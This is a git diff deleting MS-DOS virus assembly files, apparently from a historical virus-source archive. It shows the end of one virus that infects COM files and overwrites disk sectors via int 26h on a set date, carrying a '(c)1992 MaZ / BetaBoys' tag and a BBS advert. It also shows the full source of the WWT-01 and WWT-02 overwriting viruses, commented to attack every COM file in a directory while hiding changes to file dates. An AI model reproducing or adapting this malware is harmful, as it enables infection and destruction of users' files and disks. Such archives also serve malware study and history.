int 21h - - cmp ax,12h - je loc_7 - lea dx,[si+10Ah] - jmp short loc_6 - db 90h -loc_5: - mov ah,4Dh - int 21h - - mov ah,4Fh - int 21h - - cmp ax,12h - je loc_7 - lea dx,[si+2C8h] - add dx,24h -loc_6: - mov ah,3Dh - mov al,2 - int 21h - - mov bx,ax - mov ah,42h - mov al,2 - mov dx,0 - mov cx,0 - int 21h - - - push ax - sub ax,6 - mov dx,ax - mov ah,42h - mov al,0 - mov cx,0 - int 21h - - - mov ah,3Fh - mov cx,1 - lea dx,[si+14Bh] - int 21h - - - mov ah,byte ptr data_8+30h[si] - cmp ah,42h - jne loc_8 - jmp short loc_5 -loc_7: - jmp short loc_9 - db 90h -loc_8: - mov ah,42h - mov al,0 - mov dx,0 - mov cx,0 - int 21h - - - mov ax,3F00h - mov cx,3 - lea dx,[si+2C8h] - add dx,3 - int 21h - - - mov ax,4200h - mov dx,0 - mov cx,0 - int 21h - - - pop ax - sub ax,3 - mov byte ptr data_8+2Eh[si],al - mov byte ptr data_8+2Fh[si],ah - mov ah,40h - mov cx,3 - lea dx,[si+148h] - int 21h - - - mov ax,4202h - mov dx,0 - mov cx,0 - int 21h - - - mov ah,40h - lea dx,[si+100h] - mov cx,data_12[si] - int 21h - - - mov ax,4000h - lea dx,[si+2C8h] - add dx,3 - mov cx,3 - int 21h - - - jmp short loc_9 - db 90h -loc_9: - mov ah,3Eh - int 21h - - mov ah,41h - lea dx,[si+137h] - int 21h - - mov ah,2Ah - int 21h - - - cmp dh,2 - jne loc_14 - cmp dl,17h - je loc_10 - cmp dl,18h - je loc_11 - cmp dl,19h - je loc_12 - jmp short loc_14 - db 90h -loc_10: - mov ah,3Ch - lea dx,[si+119h] - mov cx,1 - int 21h - - jmp short loc_14 - db 90h -loc_11: - mov ah,3Ch - lea dx,[si+129h] - mov cx,1 - int 21h - - jmp short loc_14 - db 90h -loc_12: - mov al,2 -loc_13: - mov cx,96h - mov dx,0 - int 26h - - - - inc al - cmp al,4 - jne loc_13 -loc_14: - mov cx,3 - lea ax,[si+2C8h] - mov si,ax - mov di,100h - rep movsb - call sub_1 - int 20h - -ww endp - -sub_1 proc near - mov di,offset start - jmp di - db 'Why Windows ' -copyright db '(c)1992 MaZ / BetaBoys B.B' - db 90h, 90h, 90h -sub_1 endp - - -seg_a ends - - - - end start - -; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ -; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-01.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-01.asm deleted file mode 100644 index 147fb485..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-01.asm +++ /dev/null @@ -1,78 +0,0 @@ - -PAGE 59,132 - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -;ÛÛ ÛÛ -;ÛÛ WWT-01 ÛÛ -;ÛÛ ÛÛ -;ÛÛ Created: 15-Mar-91 ÛÛ -;ÛÛ Passes: 5 Analysis Options on: none ÛÛ -;ÛÛ ÛÛ -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - -data_009E_e equ 9Eh - -seg_a segment byte public - assume cs:seg_a, ds:seg_a - - - org 100h - -wwt-01 proc far - -start: - mov dx,offset data_013D - mov ah,4Eh ; 'N' - mov cx,1 - int 21h ; DOS Services ah=function 4Eh - ; find 1st filenam match @ds:dx - jnc loc_010E ; Jump if carry=0 - jmp short loc_012C -loc_010E: - mov dx,data_009E_e - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jnc loc_011A ; Jump if carry=0 - jmp short loc_012C -loc_011A: - mov bx,ax - call sub_012E - mov dx,80h - mov ah,4Fh ; 'O' - int 21h ; DOS Services ah=function 4Fh - ; find next filename match - jnc loc_012A ; Jump if carry=0 - jmp short loc_012C -loc_012A: - jmp short loc_010E -loc_012C: - int 20h ; DOS program terminate - -wwt-01 endp - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_012E proc near - mov dx,100h - mov ah,40h ; '@' - mov cx,43h - int 21h ; DOS Services ah=function 40h - ; write file bx=file handle - ; cx=bytes from ds:dx buffer - mov ah,3Eh ; '>' - int 21h ; DOS Services ah=function 3Eh - ; close file, bx=file handle - retn -sub_012E endp - -data_013D db 2Ah - db 2Eh, 43h, 4Fh, 4Dh, 00h - -seg_a ends - - - - end start diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-02.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-02.asm deleted file mode 100644 index ef93d233..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-02.asm +++ /dev/null @@ -1,73 +0,0 @@ -; Virus name WWT-02 -; Description Attack any COM file in current directory -; Comment Don't change Date/Time, ignore ReadOnly -; Date 19 Dec 1990 15:30 -; Place CICTT -; - mov dx,offset FileMask ; FileMask for any COM file - mov ah,4eh ; Find first file - mov cx,1 ; including attrib Archive - int 21h ; Call DOS - jnc Ok ; If no error -> go on - jmp short Exit ; If error -> exit program - -Ok - call Infect ; Do infection - -DoNext - mov dx,80h ; Set DS:DX to DTA - mov ah,4fh ; Find Next file - int 21h ; Call DOS - jnc NextOk ; If no error -> go on - jmp short Exit ; If error -> exit -NextOk - jmp short Ok ; Still next file exist - -Exit - int 20h ; Exit to DOS - -Infect - mov dx,9eh ; Set DS:DX to filename in DTA - mov ax,4300h ; Get file attribute - int 21h ; Call DOS - mov Attrib,cx ; Save attribute for later - xor cx,cx ; New attribute -> normal file - mov ax,4301h ; Set attribute - int 21h ; Call DOS - mov ax,3d02h ; Open file for Read/Write - int 21h ; Call DOS - jc Exit ; If error -> exit - mov bx,ax ; Save handle - mov ax,5700h ; Get file Date/Time - int 21h ; Call DOS - mov Date,dx ; Save date - mov Time,cx ; Save time - mov dx,100h ; DS:DX point to itself - mov ah,40h ; Write to handle - mov cx,offset VirusSize-100h ; Write only virus - int 21h ; Call DOS - mov ax,5701h ; Restore Date/Time - mov cx,Time ; Old time - mov dx,Date ; Old time - int 21h ; Call DOS - mov ah,3eh ; Close file - int 21h ; Call DOS - mov dx,9eh ; Set DS:DX to filename in DTA - mov cx,Attrib ; Restore attribute - mov ax,4301h ; Set file attribute - int 21h ; Call DOS - ret ; Return to caller - - -FileMask - db '*.COM',0 ; File mask for any COM file -Date - dw ? -Time - dw ? -Attrib - dw ? -VirusSize - db ? ; Used to calculate virus - ; size - \ No newline at end of file